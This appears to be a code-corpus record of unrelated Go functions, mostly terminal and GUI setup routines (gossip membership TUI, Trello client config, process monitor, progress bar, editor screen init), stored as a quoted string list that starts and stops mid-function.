tui.NewLabel(\"\")),\r\n\t\t\t\t\ttui.NewLabel(\"join group\"),\r\n\t\t\t\t\ttui.NewSpacer(),\r\n\t\t\t\t))\r\n\t\t\t\tc <- JOIN_GROUP\r\n\t\t\tcase \"id\":\r\n\t\t\t\thistory.Append(tui.NewHBox(\r\n\t\t\t\t\ttui.NewLabel(time.Now().Format(\"15:04\")),\r\n\t\t\t\t\ttui.NewPadder(1, 0, tui.NewLabel(\"\")),\r\n\t\t\t\t\ttui.NewLabel(\"ID: \"+MyID),\r\n\t\t\t\t\ttui.NewSpacer(),\r\n\t\t\t\t))\r\n\t\t\tcase \"list\":\r\n\t\t\t\ts, err := helper.PrintMembershipListAsTableInGUI(MembershipList)\r\n\t\t\t\tif err != nil {\r\n\t\t\t\t\tlog.Fatal(\"PrintMembershipListAsTableInGUI error\")\r\n\t\t\t\t}\r\n\t\t\t\thistory.Append(tui.NewHBox(\r\n\t\t\t\t\ttui.NewLabel(time.Now().Format(\"15:04\")),\r\n\t\t\t\t\ttui.NewPadder(1, 0, tui.NewLabel(\"\")),\r\n\t\t\t\t\ttui.NewLabel(s),\r\n\t\t\t\t\ttui.NewSpacer(),\r\n\t\t\t\t))\r\n\t\t\tcase \"para\":\r\n\t\t\t\thistory.Append(tui.NewHBox(\r\n\t\t\t\t\ttui.NewLabel(time.Now().Format(\"15:04\")),\r\n\t\t\t\t\ttui.NewPadder(1, 0, tui.NewLabel(\"\")),\r\n\t\t\t\t\ttui.NewLabel(\"Tgossip: \"+ fmt.Sprintf(\"%v\",Tgossip)),\r\n\t\t\t\t\ttui.NewSpacer(),\r\n\t\t\t\t))\r\n\t\t\t\thistory.Append(tui.NewHBox(\r\n\t\t\t\t\ttui.NewLabel(time.Now().Format(\"15:04\")),\r\n\t\t\t\t\ttui.NewPadder(1, 0, tui.NewLabel(\"\")),\r\n\t\t\t\t\ttui.NewLabel(\"Tall2all: \"+ fmt.Sprintf(\"%v\",Tall2all)),\r\n\t\t\t\t\ttui.NewSpacer(),\r\n\t\t\t\t))\r\n\t\t\t\thistory.Append(tui.NewHBox(\r\n\t\t\t\t\ttui.NewLabel(time.Now().Format(\"15:04\")),\r\n\t\t\t\t\ttui.NewPadder(1, 0, tui.NewLabel(\"\")),\r\n\t\t\t\t\ttui.NewLabel(\"Tfail: \"+ fmt.Sprintf(\"%v\",Tfail)),\r\n\t\t\t\t\ttui.NewSpacer(),\r\n\t\t\t\t))\r\n\t\t\t\thistory.Append(tui.NewHBox(\r\n\t\t\t\t\ttui.NewLabel(time.Now().Format(\"15:04\")),\r\n\t\t\t\t\ttui.NewPadder(1, 0, tui.NewLabel(\"\")),\r\n\t\t\t\t\ttui.NewLabel(\"Tclean: \"+ fmt.Sprintf(\"%v\",Tclean)),\r\n\t\t\t\t\ttui.NewSpacer(),\r\n\t\t\t\t))\r\n\t\t\t\thistory.Append(tui.NewHBox(\r\n\t\t\t\t\ttui.NewLabel(time.Now().Format(\"15:04\")),\r\n\t\t\t\t\ttui.NewPadder(1, 0, tui.NewLabel(\"\")),\r\n\t\t\t\t\ttui.NewLabel(\"B: \"+ fmt.Sprintf(\"%v\",B)),\r\n\t\t\t\t\ttui.NewSpacer(),\r\n\t\t\t\t))\r\n\t\t\tcase \"kill\":\r\n\t\t\t\thistory.Append(tui.NewHBox(\r\n\t\t\t\t\ttui.NewLabel(time.Now().Format(\"15:04\")),\r\n\t\t\t\t\ttui.NewPadder(1, 0, tui.NewLabel(\"\")),\r\n\t\t\t\t\ttui.NewLabel(\"Got killed\"),\r\n\t\t\t\t\ttui.NewSpacer(),\r\n\t\t\t\t))\r\n\t\t\t\ttime.Sleep(time.Duration(500) * time.Millisecond)\r\n\t\t\t\tui.Quit()\r\n\t\t\t\tdone <- \"Done\"\r\n\t\t\t\tos.Exit(1)\r\n\t\t\t}\r\n\r\n\t\t}\r\n\t})\r\n\r\n\t// membership list\r\n\tmembershipBoxLabel := tui.NewLabel(\"\")\r\n\tmembershipBoxLabel.SetSizePolicy(tui.Expanding, tui.Expanding)\r\n\r\n\tmembershipBox := tui.NewVBox(membershipBoxLabel)\r\n\tmembershipBox.SetTitle(\"MembershipList on \" + MyID)\r\n\tmembershipBox.SetBorder(true)\r\n\ts, err := helper.PrintMembershipListAsTableInGUI(MembershipList)\r\n\tif err != nil {\r\n\t\tlog.Fatal(\"PrintMembershipListAsTableInGUI error\")\r\n\t}\r\n\tmembershipBoxLabel.SetText(s)\r\n\r\n\t// bandwidth and protocol\r\n\tbandwidthBoxLabel := tui.NewLabel(\"\")\r\n\tbandwidthBoxLabel.SetSizePolicy(tui.Expanding, tui.Expanding)\r\n\r\n\tbandwidthBox := tui.NewVBox(bandwidthBoxLabel)\r\n\tbandwidthBox.SetTitle(\"BandWidth\")\r\n\tbandwidthBox.SetBorder(true)\r\n\tbandwidthBoxLabel.SetText(fmt.Sprintf(\"%v\",Bandwidth))\r\n\r\n\tprotocolBoxLabel := tui.NewLabel(\"\")\r\n\tprotocolBoxLabel.SetSizePolicy(tui.Expanding, tui.Expanding)\r\n\r\n\tprotocolBox := tui.NewVBox(protocolBoxLabel)\r\n\tprotocolBox.SetTitle(\"Protocol\")\r\n\tprotocolBox.SetBorder(true)\r\n\tprotocolBoxLabel.SetText(CurrentProtocol)\r\n\r\n\tjoinBoxLabel := tui.NewLabel(\"\")\r\n\tjoinBoxLabel.SetSizePolicy(tui.Expanding, tui.Expanding)\r\n\r\n\tjoinBox:= tui.NewVBox(joinBoxLabel)\r\n\tjoinBox.SetTitle(\"Join\")\r\n\tjoinBox.SetBorder(true)\r\n\tjoinBoxLabel.SetText(fmt.Sprintf(\"%v\",IsJoin))\r\n\r\n\tbandpandjBox := tui.NewHBox(bandwidthBox, protocolBox, joinBox)\r\n\r\n\troot := tui.NewVBox(membershipBox, bandpandjBox, shell)\r\n\r\n\tvar er error\r\n\tui, er = tui.New(root)\r\n\tif er != nil {\r\n\t\tlog.Fatal(err)\r\n\t}\r\n\r\n\tui.SetKeybinding(\"Esc\", func() {\r\n\t\tui.Quit()\r\n\t\tdone <- \"Done\"\r\n\t\tos.Exit(1)\r\n\t})\r\n\tgo ui.Run()\r\n\ttickerMembershipList := time.NewTicker(time.Duration(Tgossip) * time.Millisecond)\r\n\tgo updateMembershipListInGUI(membershipBoxLabel, membershipBox, ui, tickerMembershipList)\r\n go updateProtocolChangeACK(history, protocolBoxLabel, ui)\r\n\tticker := time.NewTicker(time.Duration(1000) * time.Millisecond)\r\n\tgo updateBandwidthAndJoin(bandwidthBoxLabel, joinBoxLabel, ui, ticker)\r\n\t<-done\r\n}", "func setup() (app.Config, func()) {\n\tboardName := flag.String(\"board\", \"\", \"board name\")\n\trefresh := flag.Duration(\"refresh\", defaultRefreshInterval, fmt.Sprintf(\"refresh interval (min=%v)\", minRefreshInterval))\n\tlogFlag := flag.Bool(\"log\", false, \"Log to file\")\n\tv := flag.Bool(\"vv\", false, \"Increase verbosity level\")\n\tflag.Parse()\n\n\tcleanup := func() {}\n\tif *logFlag {\n\t\tf, err := os.OpenFile(\"trello-tui.log\", os.O_RDWR|os.O_CREATE|os.O_APPEND, 0666)\n\t\tif err != nil {\n\t\t\tlog.Fatal().Err(err).Msg(\"Unexpected error while opening file for logging. Stopping application\")\n\t\t}\n\t\t_, _ = f.Write([]byte(\"\\n\"))\n\t\tcleanup = func() { f.Close() }\n\t\tlog.Logger = log.Output(zerolog.ConsoleWriter{Out: f})\n\t\tif !*v {\n\t\t\tzerolog.SetGlobalLevel(zerolog.InfoLevel)\n\t\t} else {\n\t\t\tzerolog.SetGlobalLevel(zerolog.DebugLevel)\n\t\t}\n\t} else {\n\t\tlog.Logger = log.Output(ioutil.Discard)\n\t\tzerolog.SetGlobalLevel(zerolog.Disabled)\n\t}\n\n\tif *refresh < minRefreshInterval {\n\t\tlog.Warn().Msg(\"Minimum value for refresh interval is 10 s\")\n\t\t*refresh = minRefreshInterval\n\t}\n\n\treturn app.Config{\n\t\tState: state.Config{\n\t\t\tTrello: trello.Config{\n\t\t\t\tUser: os.Getenv(TrelloUser),\n\t\t\t\tKey: os.Getenv(TrelloKey),\n\t\t\t\tToken: os.Getenv(TrelloToken),\n\t\t\t\tTimeout: time.Second * 10,\n\t\t\t},\n\t\t\tSelectedBoard: *boardName,\n\t\t\tBoardRefreshInterval: *refresh,\n\t\t},\n\n\t\tGui: gui.Config{\n\t\t\tDev: *v,\n\t\t},\n\t}, cleanup\n}", "func UI(t testhelper.TestingTInterface, dataDir string, parent context.Context, stream bool) string {\n\tserverHostname := \"127.0.0.1\"\n\tpodScalerFlags := []string{\n\t\t\"--loglevel=trace\",\n\t\t\"--log-style=text\",\n\t\t\"--cache-dir\", dataDir,\n\t\t\"--mode=consumer.ui\",\n\t\t\"--data-dir\", t.TempDir(),\n\t\t\"--metrics-port=9093\",\n\t}\n\tpodScaler := testhelper.NewAccessory(\"pod-scaler\", podScalerFlags, func(port, healthPort string) []string {\n\t\tt.Logf(\"pod-scaler admission starting on port %s\", port)\n\t\treturn []string{\"--ui-port\", port, \"--health-port\", healthPort}\n\t}, func(port, healthPort string) []string {\n\t\treturn []string{port}\n\t})\n\tpodScaler.RunFromFrameworkRunner(t, parent, stream)\n\tpodScalerHost := \"http://\" + serverHostname + \":\" + podScaler.ClientFlags()[0]\n\tt.Logf(\"pod-scaler UI is running at %s\", podScalerHost)\n\tpodScaler.Ready(t, func(o *testhelper.ReadyOptions) { o.WaitFor = 200 })\n\treturn podScalerHost\n}", "func Configure(filename string) (err error) {\n\n\tvar menu Menu\n\tvar entry Entry\n\tvar sd SD\n\n\tConfig.File = strings.TrimSuffix(filename, filepath.Ext(filename))\n\n\terr = Config.Open()\n\tif err != nil {\n\t\treturn\n\t}\n\n\tsd.Init()\n\n\tif len(Config.Account.Username) != 0 || len(Config.Account.Password) != 0 {\n\t\tsd.Login()\n\t\tsd.Status()\n\t}\n\n\tfor {\n\n\t\tmenu.Entry = make(map[int]Entry)\n\n\t\tmenu.Headline = fmt.Sprintf(\"%s [%s.yaml]\", getMsg(0000), Config.File)\n\t\tmenu.Select = getMsg(0001)\n\n\t\t// Exit\n\t\tentry.Key = 0\n\t\tentry.Value = getMsg(0010)\n\t\tmenu.Entry[0] = entry\n\n\t\t// Account\n\t\tentry.Key = 1\n\t\tentry.Value = getMsg(0011)\n\t\tmenu.Entry[1] = entry\n\t\tif len(Config.Account.Username) == 0 || len(Config.Account.Password) == 0 {\n\t\t\tentry.account()\n\t\t\terr = sd.Login()\n\t\t\tif err != nil {\n\t\t\t\tos.RemoveAll(Config.File + \".yaml\")\n\t\t\t\tos.Exit(0)\n\t\t\t}\n\t\t\tsd.Status()\n\n\t\t}\n\n\t\t// Add Lineup\n\t\tentry.Key = 2\n\t\tentry.Value = getMsg(0012)\n\t\tmenu.Entry[2] = entry\n\n\t\t// Remove Lineup\n\t\tentry.Key = 3\n\t\tentry.Value = getMsg(0013)\n\t\tmenu.Entry[3] = entry\n\n\t\t// Manage Channels\n\t\tentry.Key = 4\n\t\tentry.Value = getMsg(0014)\n\t\tmenu.Entry[4] = entry\n\n\t\t// Create XMLTV file\n\t\tentry.Key = 5\n\t\tentry.Value = fmt.Sprintf(\"%s [%s]\", getMsg(0016), Config.Files.XMLTV)\n\t\tmenu.Entry[5] = entry\n\n\t\tvar selection = menu.Show()\n\n\t\tentry = menu.Entry[selection]\n\n\t\tswitch selection {\n\n\t\tcase 0:\n\t\t\tConfig.Save()\n\t\t\tos.Exit(0)\n\n\t\tcase 1:\n\t\t\tentry.account()\n\t\t\tsd.Login()\n\t\t\tsd.Status()\n\n\t\tcase 2:\n\t\t\tentry.addLineup(&sd)\n\t\t\tsd.Status()\n\n\t\tcase 3:\n\t\t\tentry.removeLineup(&sd)\n\t\t\tsd.Status()\n\n\t\tcase 4:\n\t\t\tentry.manageChannels(&sd)\n\t\t\tsd.Status()\n\n\t\tcase 5:\n\t\t\tsd.Update(filename)\n\n\t\t}\n\n\t}\n\n}", "func RunMinUI(n *node.Node) {\n\ts := minui.New(Config, n)\n\ts.Run()\n}", "func main() {\n\tparseFlags()\n\n\tfmt.Printf(\"\\033[32mIpe %s@%s (built: %s)\\033[0m\\n\", version, githash, buildtime)\n\tfmt.Println(\"\\033[32mhttps://github.com/dimiro1/ipe\\033[0m\")\n\n\tif isShowVersion {\n\t\treturn\n\t}\n\n\tprintBanner()\n\n\tipe.Start(configFilename)\n}", "func InitCLI(cfg CLIConfig, level, timestamp, caller *string, keyValuePairs map[string]*string, emoji *bool) error {\n\tapp = cli.NewApp()\n\tapp.Name = cfg.Name\n\tapp.Usage = cfg.Usage\n\tapp.Version = cfg.Version\n\n\tvar tempKVs string\n\tapp.Flags = []cli.Flag{\n\t\tcli.StringFlag{\n\t\t\tName: \"l, level\",\n\t\t\tUsage: \"just logs with log level of `log_level`\",\n\t\t\tDestination: level,\n\t\t},\n\t\tcli.StringFlag{\n\t\t\tName: \"t, timestamp\",\n\t\t\tUsage: \"just logs after the `timestamp`(>=). it is possible to use the following keywords with `timestamp`:\\n\\t\\t\\tnow: to show all logs from the current time\\n\\t\\t\\ttoday: to show all logs of the tody(start from 00:00)\",\n\t\t\tDestination: timestamp,\n\t\t},\n\t\tcli.StringFlag{\n\t\t\tName: \"c, caller\",\n\t\t\tUsage: \"just logs that its caller field contains `caller_name`\",\n\t\t\tDestination: caller,\n\t\t},\n\t\tcli.StringFlag{\n\t\t\tName: \"k, keyvalue\",\n\t\t\tUsage: \"just logs that have specific pairs of `key_1=value_1`\",\n\t\t\tDestination: &tempKVs,\n\t\t},\n\t\tcli.BoolFlag{\n\t\t\tName: \"e, emoji\",\n\t\t\tUsage: \"add some funny emoji to output\",\n\t\t\tDestination: emoji,\n\t\t},\n\t}\n\n\tapp.Action = func(c *cli.Context) error {\n\t\tif strings.Compare(*timestamp, \"now\") == 0 {\n\t\t\t*timestamp = fmt.Sprintf(\"%v\", time.Now().Unix())\n\t\t} else if strings.Compare(*timestamp, \"today\") == 0 {\n\t\t\ty, m, d := time.Now().Date()\n\t\t\tl, _ := time.LoadLocation(\"Local\")\n\t\t\tt := time.Date(y, m, d, 0, 0, 0, 0, l)\n\t\t\t*timestamp = fmt.Sprintf(\"%v\", t.Truncate(24*time.Hour).Unix())\n\t\t}\n\n\t\tpairs := strings.Split(tempKVs, \",\")\n\t\tfor _, pair := range pairs {\n\t\t\tkv := strings.SplitN(pair, \"=\", 2)\n\t\t\tif len(kv) != 2 {\n\t\t\t\tcontinue\n\t\t\t}\n\n\t\t\t_, errParse := strconv.ParseFloat(kv[1], 64)\n\t\t\tif errParse != nil {\n\t\t\t\tkv[1] = fmt.Sprintf(\"\\\"%s\\\"\", kv[1])\n\t\t\t\tkeyValuePairs[kv[0]] = &kv[1]\n\t\t\t} else {\n\t\t\t\tkeyValuePairs[kv[0]] = &kv[1]\n\t\t\t}\n\n\t\t}\n\n\t\ttitle := fmt.Sprintf(\"\\n[PRITTIER ZAP] Level: '%v' Timestamp: '%v' Caller: '%v' Emoji: '%v'\", *level, *timestamp, *caller, *emoji)\n\t\tif len(keyValuePairs) > 0 {\n\t\t\ttitle += \" Key-Value:\"\n\t\t}\n\t\tfor k, v := range keyValuePairs {\n\t\t\ttitle += fmt.Sprintf(\" %s:%s\", k, *v)\n\t\t}\n\t\ttitle += \"\\n\"\n\t\tfmt.Println(title)\n\t\treturn nil\n\t}\n\treturn nil\n}", "func (sc *ServiceConfig) ServeUI() {\n\tmime.AddExtensionType(\".json\", \"application/json\")\n\tmime.AddExtensionType(\".woff\", \"application/font-woff\")\n\n\thandler := rest.ResourceHandler{\n\t\tEnableRelaxedContentType: true,\n\t}\n\n\troutes := sc.getRoutes()\n\thandler.SetRoutes(routes...)\n\n\t// FIXME: bubble up these errors to the caller\n\tif err := http.ListenAndServe(\":7878\", &handler); err != nil {\n\t\tglog.Fatalf(\"could not setup internal web server: %s\", err)\n\t}\n}", "func (t *TrayIcon) setConfFromWidgets() {\n\trestartRequired := false\n\tc := t.Conf\n\tw := t.SettingsWidgets\n\tc.ServerURL = w.txtURL.Text()\n\tc.RefreshInterval, _ = strconv.Atoi(w.txtRefreshInterval.Text())\n\tmaxA, _ := strconv.Atoi(w.txtMaxArticles.Text())\n\tif maxA > c.MaxArticles {\n\t\trestartRequired = true\n\t}\n\tc.MaxArticles = maxA\n\tc.DelayAfterStart, _ = strconv.Atoi(w.txtDelayStart.Text())\n\n\tif c.Autostart != w.cbAutostart.IsChecked() {\n\t\tc.autostartChanged = true\n\t}\n\n\tc.Autostart = w.cbAutostart.IsChecked()\n\tc.ErrorNotifications = w.cbErrorNotifications.IsChecked()\n\tc.HideNoNews = w.cbHideWhenRead.IsChecked()\n\n\tif c.SetCategoriesFromBranch != w.cbSetCatBranch.IsChecked() {\n\t\trestartRequired = true\n\t\tc.SetCategoriesFromBranch = w.cbSetCatBranch.IsChecked()\n\t}\n\n\tcats := []string{}\n\tfor i := 0; i < w.listCategories.Count(); i++ {\n\t\tif w.listCategories.Item(i).IsSelected() {\n\t\t\tcats = append(cats, w.listCategories.Item(i).Text())\n\t\t}\n\t}\n\tif c.SetCategoriesFromBranch {\n\t\tif !stringSEqual(c.AddCategoriesBranch, cats) {\n\t\t\tc.AddCategoriesBranch = cats\n\t\t\trestartRequired = true\n\t\t}\n\t} else {\n\t\tif !stringSEqual(c.Categories, cats) {\n\t\t\tc.Categories = cats\n\t\t\trestartRequired = true\n\t\t}\n\t}\n\tif restartRequired {\n\t\tfmt.Println(\"restart required\")\n\t\tt.Icon.ShowMessage2(\"Manjaro News - Information\", \"You've changed setting which require a restart of mntray. Please restart me.\", ico, 5000)\n\t}\n}", "func (syn *Synth) ConfigGui() *gi.Window {\n\twidth := 1600\n\theight := 1200\n\n\tgi.SetAppName(\"Synth\")\n\tgi.SetAppAbout(`This demonstrates synthesizing a sound (phone or word)`)\n\n\twin := gi.NewMainWindow(\"one\", \"Auditory ...\", width, height)\n\n\tvp := win.WinViewport2D()\n\tupdt := vp.UpdateStart()\n\n\tmfr := win.SetMainFrame()\n\n\ttbar := gi.AddNewToolBar(mfr, \"tbar\")\n\ttbar.SetStretchMaxWidth()\n\tsyn.ToolBar = tbar\n\n\tsplit := gi.AddNewSplitView(mfr, \"split\")\n\tsplit.Dim = gi.X\n\tsplit.SetStretchMax()\n\n\tsv := giv.AddNewStructView(split, \"sv\")\n\tsv.SetStruct(syn)\n\n\ttview := gi.AddNewTabView(split, \"tv\")\n\n\tplt := tview.AddNewTab(eplot.KiT_Plot2D, \"wave\").(*eplot.Plot2D)\n\tsyn.WavePlot = syn.ConfigWavePlot(plt, syn.SignalData)\n\n\t// tbar.AddAction(gi.ActOpts{Label: \"Update Wave\", Icon: \"new\"}, win.This(),\n\t// \tfunc(recv, send ki.Ki, sig int64, data interface{}) {\n\t// \t\tsyn.GetWaveData()\n\t// \t})\n\n\ttbar.AddAction(gi.ActOpts{Label: \"Synthesize\", Icon: \"new\"}, win.This(),\n\t\tfunc(recv, send ki.Ki, sig int64, data interface{}) {\n\t\t\tsyn.Synthesize()\n\t\t})\n\n\tsplit.SetSplitsList([]float32{.3, .7})\n\n\t// main menu\n\tappnm := gi.AppName()\n\tmmen := win.MainMenu\n\tmmen.ConfigMenus([]string{appnm, \"File\", \"Edit\", \"Window\"})\n\n\tamen := win.MainMenu.ChildByName(appnm, 0).(*gi.Action)\n\tamen.Menu.AddAppMenu(win)\n\n\temen := win.MainMenu.ChildByName(\"Edit\", 1).(*gi.Action)\n\temen.Menu.AddCopyCutPaste(win)\n\n\tvp.UpdateEndNoSig(updt)\n\n\twin.MainMenuUpdated()\n\treturn win\n}", "func (pb *Pbar) prep() {\n\tansi.CursorHide()\n\n\tpb.filledBar = \"\"\n\tpb.barLen = 0\n\tpb.currentPercent = 0\n\tpb.fgStringLen = parseBlockSize(pb.fgString)\n\tif !pb.isColor {\n\t\tpb.color = colors[\"white\"]\n\t\t// If b/w, make the text visible\n\t\t// (otherwise background would print white)\n\t\tif pb.fgString != \" \" {\n\t\t\tpb.color -= 10\n\t\t}\n\t}\n\n\t// Create the background, then print it\n\tfor i := 0; i < pb.width; i++ {\n\t\tpb.bgBar += pb.bgString\n\t}\n\n\t// \\033[0E : beginning of line (?)\n\t// [ : just prints out '[' string literal\n\t// \\0337 : store cursor position\n\t// \\033[52G : move cursor 52 spaces right\n\t// ] : just prints out ']' string literal\n\t// \\033[2G : load stored cursor position\n\tansi.Printf(\"\\033[0E[\\0337%s]\\033[2G\", pb.bgBar)\n\n\t// If the user has opted to print a numerical value,\n\t// print it on the next line\n\tif pb.printNumbers > 0 {\n\t\tfmt.Println()\n\t\tpb.printValues()\n\t}\n\t// Pbar is now prepped and no longer has to run this function.\n\tpb.unprepped = false\n\n}", "func (page *perProcPage) init() {\n\t// Initialize Gauge for CPU Chart\n\tpage.CPUChart.Title = \" CPU % \"\n\tpage.CPUChart.LabelStyle.Fg = ui.ColorClear\n\tpage.CPUChart.BarColor = ui.ColorGreen\n\tpage.CPUChart.BorderStyle.Fg = ui.ColorCyan\n\tpage.CPUChart.TitleStyle.Fg = ui.ColorClear\n\n\t// Initialize Gauge for Memory Chart\n\tpage.MemChart.Title = \" Mem % \"\n\tpage.MemChart.LabelStyle.Fg = ui.ColorClear\n\tpage.MemChart.BarColor = ui.ColorGreen\n\tpage.MemChart.BorderStyle.Fg = ui.ColorCyan\n\tpage.MemChart.TitleStyle.Fg = ui.ColorClear\n\n\t// Initialize Table for PID Details Table\n\tpage.PIDTable.TextStyle = ui.NewStyle(ui.ColorClear)\n\tpage.PIDTable.TextAlignment = ui.AlignCenter\n\tpage.PIDTable.RowSeparator = false\n\tpage.PIDTable.Title = \" PID \"\n\tpage.PIDTable.BorderStyle.Fg = ui.ColorCyan\n\tpage.PIDTable.TitleStyle.Fg = ui.ColorClear\n\n\t// Initialize List for Child Processes list\n\tpage.ChildProcsTable.Title = \" Child Processes \"\n\tpage.ChildProcsTable.BorderStyle.Fg = ui.ColorCyan\n\tpage.ChildProcsTable.TitleStyle.Fg = ui.ColorClear\n\tpage.ChildProcsTable.ColWidths = []int{10, 10}\n\tpage.ChildProcsTable.Header = []string{\"PID\", \"Command\"}\n\tpage.ChildProcsTable.ShowCursor = true\n\tpage.ChildProcsTable.CursorColor = ui.ColorCyan\n\tpage.ChildProcsTable.ColResizer = func() {\n\t\tx := page.ChildProcsTable.Inner.Dx() - 10\n\t\tpage.ChildProcsTable.ColWidths = []int{\n\t\t\t10,\n\t\t\tui.MaxInt(10, x),\n\t\t}\n\t}\n\n\t// Initialize Bar Chart for CTX Switches Chart\n\tpage.CTXSwitchesChart.Data = []float64{0, 0}\n\tpage.CTXSwitchesChart.Labels = []string{\"Volun\", \"Involun\"}\n\tpage.CTXSwitchesChart.Title = \" Ctx switches \"\n\tpage.CTXSwitchesChart.BorderStyle.Fg = ui.ColorCyan\n\tpage.CTXSwitchesChart.TitleStyle.Fg = ui.ColorClear\n\tpage.CTXSwitchesChart.BarWidth = 9\n\tpage.CTXSwitchesChart.BarColors = []ui.Color{ui.ColorGreen, ui.ColorCyan}\n\tpage.CTXSwitchesChart.LabelStyles = []ui.Style{ui.NewStyle(ui.ColorClear)}\n\tpage.CTXSwitchesChart.NumStyles = []ui.Style{ui.NewStyle(ui.ColorBlack)}\n\n\t// Initialize Bar Chart for Page Faults Chart\n\tpage.PageFaultsChart.Data = []float64{0, 0}\n\tpage.PageFaultsChart.Labels = []string{\"minr\", \"mjr\"}\n\tpage.PageFaultsChart.Title = \" Page Faults \"\n\tpage.PageFaultsChart.BorderStyle.Fg = ui.ColorCyan\n\tpage.PageFaultsChart.TitleStyle.Fg = ui.ColorClear\n\tpage.PageFaultsChart.BarWidth = 9\n\tpage.PageFaultsChart.BarColors = []ui.Color{ui.ColorGreen, ui.ColorCyan}\n\tpage.PageFaultsChart.LabelStyles = []ui.Style{ui.NewStyle(ui.ColorClear)}\n\tpage.PageFaultsChart.NumStyles = []ui.Style{ui.NewStyle(ui.ColorBlack)}\n\n\t// Initialize Bar Chart for Memory Stats Chart\n\tpage.MemStatsChart.Data = []float64{0, 0, 0, 0}\n\tpage.MemStatsChart.Labels = []string{\"RSS\", \"Data\", \"Stack\", \"Swap\"}\n\tpage.MemStatsChart.Title = \" Mem Stats (mb) \"\n\tpage.MemStatsChart.BorderStyle.Fg = ui.ColorCyan\n\tpage.MemStatsChart.TitleStyle.Fg = ui.ColorClear\n\tpage.MemStatsChart.BarWidth = 9\n\tpage.MemStatsChart.BarColors = []ui.Color{ui.ColorGreen, ui.ColorMagenta, ui.ColorYellow, ui.ColorCyan}\n\tpage.MemStatsChart.LabelStyles = []ui.Style{ui.NewStyle(ui.ColorClear)}\n\tpage.MemStatsChart.NumStyles = []ui.Style{ui.NewStyle(ui.ColorBlack)}\n\n\t// Initialize Grid layout\n\tpage.Grid.Set(\n\t\tui.NewCol(0.5,\n\t\t\tui.NewRow(0.125, page.CPUChart),\n\t\t\tui.NewRow(0.125, page.MemChart),\n\t\t\tui.NewRow(0.35, page.PIDTable),\n\t\t\tui.NewRow(0.4, page.ChildProcsTable),\n\t\t),\n\t\tui.NewCol(0.5,\n\t\t\tui.NewRow(0.6,\n\t\t\t\tui.NewCol(0.5, page.CTXSwitchesChart),\n\t\t\t\tui.NewCol(0.5, page.PageFaultsChart),\n\t\t\t),\n\t\t\tui.NewRow(0.4, page.MemStatsChart),\n\t\t),\n\t)\n\n\tw, h := ui.TerminalDimensions()\n\tpage.Grid.SetRect(0, 0, w, h)\n}", "func (ui *UI) Init() {\n\tui.Palettes = make(map[int]*Palette)\n\tui.Palettes[0] = GetUIPalette()\n\tui.Palettes[1] = GetProjectMegaPalette(\"assets/sprites/projectmute.png\")\n\tui.Palettes[2] = GetProjectMegaPalette(\"assets/sprites/projectmuteG.png\")\n\tui.Palettes[3] = GetProjectMegaPalette(\"assets/sprites/projectmuteY.png\")\n\tui.Palettes[4] = GetProjectMegaPalette(\"assets/sprites/projectmuteR.png\")\n\n\tui.SoundConfirm = rl.LoadSound(\"assets/sounds/confirm.mp3\")\n\tui.SoundSelect = rl.LoadSound(\"assets/sounds/select.mp3\")\n\tui.SoundCancel = rl.LoadSound(\"assets/sounds/cancel.mp3\")\n\tui.Toggles = make(map[string]bool)\n\tui.BuildingCache = &Building{}\n}", "func InstallWebUi() {\n\n}", "func setupUser(config *initConfig) error {\n\t// Set up defaults.\n\tdefaultExecUser := user.ExecUser{\n\t\tUid: syscall.Getuid(),\n\t\tGid: syscall.Getgid(),\n\t\tHome: \"/\",\n\t}\n\tpasswdPath, err := user.GetPasswdPath()\n\tif err != nil {\n\t\treturn err\n\t}\n\tgroupPath, err := user.GetGroupPath()\n\tif err != nil {\n\t\treturn err\n\t}\n\texecUser, err := user.GetExecUserPath(config.User, &defaultExecUser, passwdPath, groupPath)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tvar addGroups []int\n\tif len(config.Config.AdditionalGroups) > 0 {\n\t\taddGroups, err = user.GetAdditionalGroupsPath(config.Config.AdditionalGroups, groupPath)\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t}\n\t// before we change to the container's user make sure that the processes STDIO\n\t// is correctly owned by the user that we are switching to.\n\tif err := fixStdioPermissions(execUser); err != nil {\n\t\treturn err\n\t}\n\tsuppGroups := append(execUser.Sgids, addGroups...)\n\tif err := syscall.Setgroups(suppGroups); err != nil {\n\t\treturn err\n\t}\n\n\tif err := system.Setgid(execUser.Gid); err != nil {\n\t\treturn err\n\t}\n\tif err := system.Setuid(execUser.Uid); err != nil {\n\t\treturn err\n\t}\n\t// if we didn't get HOME already, set it based on the user's HOME\n\tif envHome := os.Getenv(\"HOME\"); envHome == \"\" {\n\t\tif err := os.Setenv(\"HOME\", execUser.Home); err != nil {\n\t\t\treturn err\n\t\t}\n\t}\n\treturn nil\n}", "func main() {\n\n\t// Attempt to initialize the termbox.\n\t// TODO: contain inside ugcli run method.\n\tif err := tb.Init(); err != nil {\n\t\tos.Exit(1)\n\t}\n\n\t// Clear the termbox.\n\tif err := tb.Clear(tb.ColorDefault, tb.ColorDefault); err != nil {\n\t\tpanic(err)\n\t}\n\n\t// Create a new console taking the size of the terminal.\n\tw, h := tb.Size()\n\tcon := console.NewConsole(0, 0, w, h)\n\n\t// prefix tree completer.\n\tcompleter := console.NewListCompleter([]string{\"a\", \"ab\", \"abc\", \"bad\",\n\t\t\"carrot\", \"jane\", \"jack\"})\n\tcon.SetCompleter(completer)\n\n\t// Initialize ugcli application and add console.\n\tcli := ugcli.NewCli()\n\tcli.AddComponent(con)\n\n\t// Launch the application.\n\tcli.Run()\n\n\t// Close the termbox session when done.\n\ttb.Close()\n}", "func Init() error {\n\tdrawChan = make(chan bool, 8)\n\n\t// Should we enable true color?\n\ttruecolor := os.Getenv(\"MICRO_TRUECOLOR\") == \"1\"\n\n\tif !truecolor {\n\t\tos.Setenv(\"TCELL_TRUECOLOR\", \"disable\")\n\t}\n\n\tvar oldTerm string\n\tmodifiedTerm := false\n\tsetXterm := func() {\n\t\toldTerm = os.Getenv(\"TERM\")\n\t\tos.Setenv(\"TERM\", \"xterm-256color\")\n\t\tmodifiedTerm = true\n\t}\n\n\tif config.GetGlobalOption(\"xterm\").(bool) {\n\t\tsetXterm()\n\t}\n\n\t// Initilize tcell\n\tvar err error\n\tScreen, err = tcell.NewScreen()\n\tif err != nil {\n\t\tlog.Println(\"Warning: during screen initialization:\", err)\n\t\tlog.Println(\"Falling back to TERM=xterm-256color\")\n\t\tsetXterm()\n\t\tScreen, err = tcell.NewScreen()\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t}\n\tif err = Screen.Init(); err != nil 